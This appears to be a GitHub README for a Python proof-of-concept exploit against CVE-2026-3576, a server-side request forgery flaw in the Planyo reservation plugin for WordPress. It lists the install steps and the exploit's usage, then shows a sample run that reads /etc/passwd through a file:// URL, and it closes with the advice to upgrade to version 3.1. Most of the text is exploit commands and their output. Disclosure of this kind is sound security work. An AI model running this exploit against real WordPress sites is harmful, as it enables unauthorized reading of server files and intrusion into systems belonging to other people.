anirbala98/cve-2026-3576Proof of Concept exploit for CVE-2026-3576
This repo contains a python based Proof of Concept(PoC) exploit for CVE-2026-3576. It can also be found in Exploit-DB here.
I have also developed a Metasploit module for this exploit which can be found here.
This project is provided for educational purposes and authorized security testing only. Do not use it against systems that you do not own or have permission to test.
A Server Side Request Forgery(SSRF) vulnerability exists in Planyo Online Reservation System plugin in wordpress prior to version 3.1. It allows an unauthenticated attacker to supply a file://URL via the ulap_url parameter, resulting in arbitrary file access.
A detailed writeup with source code analysis and exploit demonstration can be found on my Medium blog.
| Component | Version |
|---|
| Vulnerable plugin | <=3.0 |
| Patched plugin | 3.1 |
git clone https://github.com/anirbala98/CVE-2026-3576.git
cd CVE-2026-3576/
pip install -r requirements.txt
python exploit.py <base_url> -f <file location> --disable-check
python exploit.py http://127.0.0.1/wordpress/ -f /etc/passwd
└─$ python exploit.py http://127.0.0.1/wordpress/ -f /etc/passwd
[*] Checking if target is vulnerable...
[+] Version found: 2.9
[+] Target is vulnerable
[*] Attempting to read arbitrary file...
root:x:0:0:root:/root:/usr/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
Upgrade the plugin to version 3.1.